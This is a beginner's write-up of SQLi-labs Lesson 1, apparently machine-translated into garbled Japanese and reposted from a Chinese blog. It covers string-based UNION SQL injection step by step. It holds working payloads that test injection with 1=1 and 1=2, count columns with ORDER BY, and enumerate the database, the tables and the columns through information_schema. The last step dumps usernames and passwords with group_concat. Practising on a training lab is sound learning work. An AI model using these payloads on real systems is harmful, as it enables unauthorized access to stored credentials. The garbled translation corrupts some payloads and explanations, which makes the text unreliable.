- レコードを学習less1 SQLI-ラボ:学ぶことを学ぶ注入ホワイト

SQLI-ラボ----- Less1文字注入:組合共同問い合わせ注入

注入点を分析1.注入型
(1)「のエラーメッセージの後にデータベースによれば、単一引用符を持っているIDに格納されたコンテンツを想定後で入力されたIDに応じて、
(2)を入力」1 = 1 - +返されるコンテンツFOUND正常(白注: - +コンテンツバックSQL文)
- +戻り誤差、本明細書存在確認IDインジェクションの脆弱性入力「1 = 2
2.orderクエリ列によって
+クエリFOUND -によって順序に従って3つの現在のフォームがあります。(ホワイト注:ここでは中間値の方法を取ることができます推測)
データベース名を取得3.
データベース名照会する組み合わせ組合選択クエリで使用される
- = IDを-1組合は1,2,3を選択ページのエコーを参照してください?コンテンツは、列2及び3は、それぞれ存在します。
?ID = -1「組合1,2を選択しセキュリティが3の位置に得ることができるデータベースの名前
(白注:データベース()関数は、データベース内の現在のデータベース名を返し、同様の機能のバージョンが存在します()データベースの現在のバージョンを返し、CURRENT_USER()MySQLのユーザ名とホスト名を返す)
。4.取得テーブル
ID = -1「組合は1,2、選択- +
テーブルが持っているユーザー、電子メール、リファラー、uagents、ユーザーが明らかにユーザテーブルを必要としています。
フィールド名を取得します。5.
?ID = -1 'SELECT 1,2連合(EU)は、table_nameからinformation_schema.columnsからGROUP_CONCAT(COLUMN_NAME)='ユーザー' - +
6.アカウントの取得ユーザ名、パスワード、パスワードの
?ID = -1組合SELECT 1,2、GROUP_CONCAT(ユーザ名、「〜」、パスワード) +( -ユーザーから-数は、ここで間隔を置いたアカウントのパスワードを使用します):白いノート

PS:ホワイトノート
(1).information_schemaは、いくつかの読み取り専用テーブルは、データベース名、テーブル名としてMySQLサーバ内の他のすべてのデータを、そこに保持されている、情報データベースと見なすことができます。
データベーステーブル(2).information_schemaテーブルのテーブルに関する情報を提供し、colunms情報テーブルカラム提供
(3).group_concat()アクションは、クエリのすべての対応するフィールドの結果が存在で、レコードの組み合わせを返すあります例えばクエリのユーザ名とパスワードですべての結果
(4)。そこに係る注入点である「とエラー情報決意は、文字または数字注射を決定した場合、今
、クエリ列番号順で、エコー情報の再クエリによる組合ステップを選択データベース名、テーブル名、フィールド名、フィールドのコンテンツへのアクセス。

 

ホワイト学ぶ注入し記録しました!

 

おすすめ

転載: www.cnblogs.com/ersuani/p/12563563.html